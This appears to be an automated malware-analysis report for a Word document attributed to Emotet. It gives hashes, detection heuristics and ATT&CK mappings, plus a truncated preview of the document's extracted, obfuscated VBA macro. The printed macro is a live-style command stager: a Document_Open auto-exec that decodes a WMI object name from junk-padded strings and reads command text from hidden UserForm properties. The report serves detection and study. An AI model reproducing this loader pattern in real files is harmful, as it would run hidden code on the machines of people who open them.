Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 98b1f2eff24595a1…

MALICIOUS

Office (OLE)

236.7 KB Created: 2020-08-17 17:57:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: ceb90b9ed28453cafeb883d04fb6c840 SHA-1: 4cb282b1163f2b9fb86effdcbc2058c82454b56f SHA-256: 98b1f2eff24595a16d48e214e8f412c7e6dca8a44e20f4bc3aee00441439eab8
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are characteristic of Emotet. The presence of these elements strongly suggests the document is designed to execute malicious code upon opening, likely to download and run a second-stage payload. ClamAV detection further supports the Emotet family attribution.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9370794-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9370794-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10242 bytes
SHA-256: 0283a046b9f910b9528673dbfedcea19f0fa6732e36da9f3cba6a27adfb9ce64
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "G2ug9qm2fjdz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
L15izinvysg.Msjcyr44kc3b1_y
End Sub


Attribute VB_Name = "L15izinvysg"
Attribute VB_Base = "0{E3FA8A5D-7CDA-48A9-B106-D8B19BE5A0C0}{F81881A0-502F-4FC8-AB9A-E75B3D4FA358}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Msjcyr44kc3b1_y()
   If 791639 <> 777579 Then
Fxgqgxx5ctd4soe = 791639 + 1989
C1cn26_9tn797 = 777579 - 2013
Else
InputBox (CStr(Fxgqgxx5ctd4soe) & CStr(C1cn26_9tn797))
End If
C1cn26_9tn797 = "KAjamLNcTV"
Wmcb0e9j71ttbm8m3 = 623691
Dlmoegxfsxbk42jk5y = Dlmoegxfsxbk42jk5y & CStr(Wmcb0e9j71ttbm8m3)
Wqchr8loxxwobb2fs = Dlmoegxfsxbk42jk5y
Yjt23uawghl9 = L15izinvysg.HelpContextId + 100
   If 791639 <> 777579 Then
Fxgqgxx5ctd4soe = 791639 + 1989
C1cn26_9tn797 = 777579 - 2013
Else
InputBox (CStr(Fxgqgxx5ctd4soe) & CStr(C1cn26_9tn797))
End If
C1cn26_9tn797 = "KAjamLNcTV"
Wmcb0e9j71ttbm8m3 = 623691
Dlmoegxfsxbk42jk5y = Dlmoegxfsxbk42jk5y & CStr(Wmcb0e9j71ttbm8m3)
Wqchr8loxxwobb2fs = Dlmoegxfsxbk42jk5y
J34i8fqey46 = ChrW(Yjt23uawghl9 + (100 + 35) / 9)
   If 791639 <> 777579 Then
Fxgqgxx5ctd4soe = 791639 + 1989
C1cn26_9tn797 = 777579 - 2013
Else
InputBox (CStr(Fxgqgxx5ctd4soe) & CStr(C1cn26_9tn797))
End If
C1cn26_9tn797 = "KAjamLNcTV"
Wmcb0e9j71ttbm8m3 = 623691
Dlmoegxfsxbk42jk5y = Dlmoegxfsxbk42jk5y & CStr(Wmcb0e9j71ttbm8m3)
Wqchr8loxxwobb2fs = Dlmoegxfsxbk42jk5y
W8ohf23b9fy0lo5xk4 = "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2si8[2[23bjgas ooo82&jhsb uqgw[[[ww2snm8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sgm8[2[23bjgas ooo82&jhsb uqgw[[[ww2st8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + J34i8fqey46 + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s:8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2sin8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s38[2[23bjgas ooo82&jhsb uqgw[[[ww2s28[2[23bjgas ooo82&jhsb uqgw[[[ww2s_8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + L15izinvysg.M6jorxst1pixhnb5g3 + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2sro8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sce8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2s"
   If 791639 <> 777579 Then
Fxgqgxx5ctd4soe = 791639 + 1989
C1cn26_9tn797 = 777579 - 2013
Else
InputBox (CStr(Fxgqgxx5ctd4soe) & CStr(C1cn26_9tn797))
End If
C1cn26_9tn797 = "KAjamLNcTV"
Wmcb0e9j71ttbm8m3 = 623691
Dlmoegxfsxbk42jk5y = Dlmoegxfsxbk42jk5y & CStr(Wmcb0e9j71ttbm8m3)
Wqchr8loxxwobb2fs = Dlmoegxfsxbk42jk5y
Ovga8hzkmqcg = Omlk0fw5zw8osdp(W8ohf23b9fy0lo5xk4)
   If 791639 <> 777579 Then
Fxgqgxx5ctd4soe = 791639 + 1989
C1cn26_9tn797 = 777579 - 2013
Else
InputBox (CStr(Fxgqgxx5ctd4soe) & CStr(C1cn26_9tn797))
End If
C1cn26_9tn797 = "KAjamLNcTV"
Wmcb0e9j71ttbm8m3 = 623691
Dlmoegxfsxbk42jk5y = Dlmoegxfsxbk42jk5y & CStr(Wmcb0e9j71ttbm8m3)
Wqchr8loxxwobb2fs = Dlmoegxfsxbk42jk5y
Set Zivt8wj8arg63v7z_ = CreateObject(Ovga8hzkmqcg)
   If 791639 <> 777579 Then
Fxgqgxx5ctd4soe = 791639 + 1989
C1cn26_9tn797 = 777579 - 2013
Else
InputBox (CStr(Fxgqgxx5ctd4soe) & CStr(C1cn26_9tn797))
End If
C1cn26_9tn797 = "KAjamLNcTV"
Wmcb0e9j71ttbm8m3 = 623691
Dlmoegxfsxbk42jk5y = Dlmoegxfsxbk42jk5y & CStr(Wmcb0e9j71ttbm8m3)
Wqchr8loxxwobb2fs = Dlmoegxfsxbk42jk5y
C45r0peqacfy = L15izinvysg.Z3eehqhl5pztgm3a.ControlTipText
   If 791639 <> 777579 Then
Fxgqgxx5ctd4soe = 791639 + 1989
C1cn26_9tn797 = 777579 - 2013
Else
InputBox (CStr(Fxgqgxx5ctd4soe) & CStr(C1cn26_9tn797))
End If
C1cn26_9tn797 = "KAjamLNcTV"
Wmcb0e9j71ttbm8m3 = 6236
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.